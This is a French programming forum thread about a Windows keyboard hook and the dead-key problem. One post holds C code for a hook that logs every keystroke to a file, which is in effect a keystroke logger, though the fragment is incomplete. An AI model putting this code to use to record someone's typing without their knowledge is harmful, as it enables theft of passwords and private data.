Hook WH_KEYBOARD et WM_KEYDOWN/WM_KEYUP [Résolu]

Signaler
Messages postés
101
Date d'inscription
vendredi 15 février 2002
Statut
Membre
Dernière intervention
6 août 2007
-
cs_lol55
Messages postés
86
Date d'inscription
dimanche 8 janvier 2006
Statut
Membre
Dernière intervention
5 décembre 2010
-
Bonjour,
Après moult recherches infructueuses je viens poser la question ici.
J'aimerai savoir si dans un hook WH_KEYBOARD on peut faire la distinction entre les WM_KEYDOWN et les WM_KEYUP.
Dans la doc c'est écrit que ça prend en compte les deux, mais pas moyen de pouvoir les distinguer.

En fait ça m'embête parce que du coup mon hook capte deux fois la même touche.
Alors jusqu'a maintenant je suis passé sur un hook WH_GETMESSAGE mais si je ne m'abuse il est quand même un peu plus lourd que le précédant.
Si quelqu'un a la solution ...
A voir également:

5 réponses

Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
16
if(0 > lParam)

ciao...
BruNews, MVP VC++
Messages postés
101
Date d'inscription
vendredi 15 février 2002
Statut
Membre
Dernière intervention
6 août 2007

Honte sur moi, j'avais pas vu ce passage :
31, Specifies the transition state. The value is 0 if the key is
being pressed and 1 if it is being released.

 Par contre ça ne change pas un autre problème que j'ai remarqué, c'est au niveau des lettres telles que ï,ê et ces lettre que l'on doit faire en appuyant sur deux touches.
Dans mon hook je fais ça :

LRESULT CALLBACK Hook(int code,WPARAM wParam,LPARAM lParam)
{
   DWORD            dummy;
    if(code == HC_ACTION)
    {    
        if(lParam>0)
        {
             [...]
            switch(wParam)
            {           
            case VK_RETURN:
                WriteFile(fichier,"\r\n",2,&dummy,NULL);
                break;
            case VK_DELETE:
                WriteFile(fichier,"[DEL]",5,&dummy,NULL);
                break;
            case VK_BACK:
                WriteFile(fichier,"[<==]",5,&dummy,NULL);
                break;
            case VK_TAB:
                WriteFile(fichier,"[TAB]",5,&dummy,NULL);
                break;
            case VK_LEFT:
            case VK_RIGHT:
            case VK_UP:
            case VK_DOWN:
            case VK_CONTROL:

            case VK_MENU:
            case VK_SHIFT:
                break;
            default:
                BYTE kbdStat[256];
                GetKeyboardState(kbdStat);
                WORD wBuf;
                UINT ScanCode = lParam;

                ToAscii(wParam,ScanCode,kbdStat,&wBuf,0);
                WriteFile(fichier,&wBuf,1,&dummy,NULL);
                break;
            }
        }
        CloseHandle(fichier);
    }
    return CallNextHookEx(hook,code,wParam,lParam);
}

Et bien avec cela dans mon fichier quand je fais ï je tombe sur ¨¨i
De même si je n'appuye que sur la touche trema, ça m'écrit ¨¨ comme si j'avais appuyé deux fois

A la limite dans mon fichier je m'en fous si ça me fait comme ça, mais par contre le truc c'est que ça se répercute sur toutes les applications ! Si mon hook est lancé, impossible d'écrire un ï un ä ou encore un ê sous n'importe quelle application.
Exemple, sans le hook : ï
Avec le hook : ¨¨i
Alors que j'appuye sur les mêmes touches
Messages postés
152
Date d'inscription
dimanche 22 janvier 2006
Statut
Membre
Dernière intervention
26 mars 2007

j'ai poster une source proche de ton code sauf quelle utilise aucun hook ++
Have Fun !
Messages postés
21042
Date d'inscription
jeudi 23 janvier 2003
Statut
Modérateur
Dernière intervention
21 août 2019
16
Une boucle perpétuelle est un exemple à ne jamais suivre, tout juste bon en langage interprété pour cause qu'ils ne peuvent pas faire de prog système.

ciao...
BruNews, MVP VC++
Messages postés
86
Date d'inscription
dimanche 8 janvier 2006
Statut
Membre
Dernière intervention
5 décembre 2010

J'ai le même problème que [auteurdetail.aspx?ID=4641 Maegis], la pression de la touche ^ est doublé automatiquement lorsque le Hook est activé ! :o

J'ai tenté le
if(0 > lParam) de [auteurdetail.aspx?ID=39449 BruNews] mais çe ne change rien ! :/

Quelqu'un serait-il comment faire pour empêcher ce problème ? :)

Merci Beaucoup ! ;)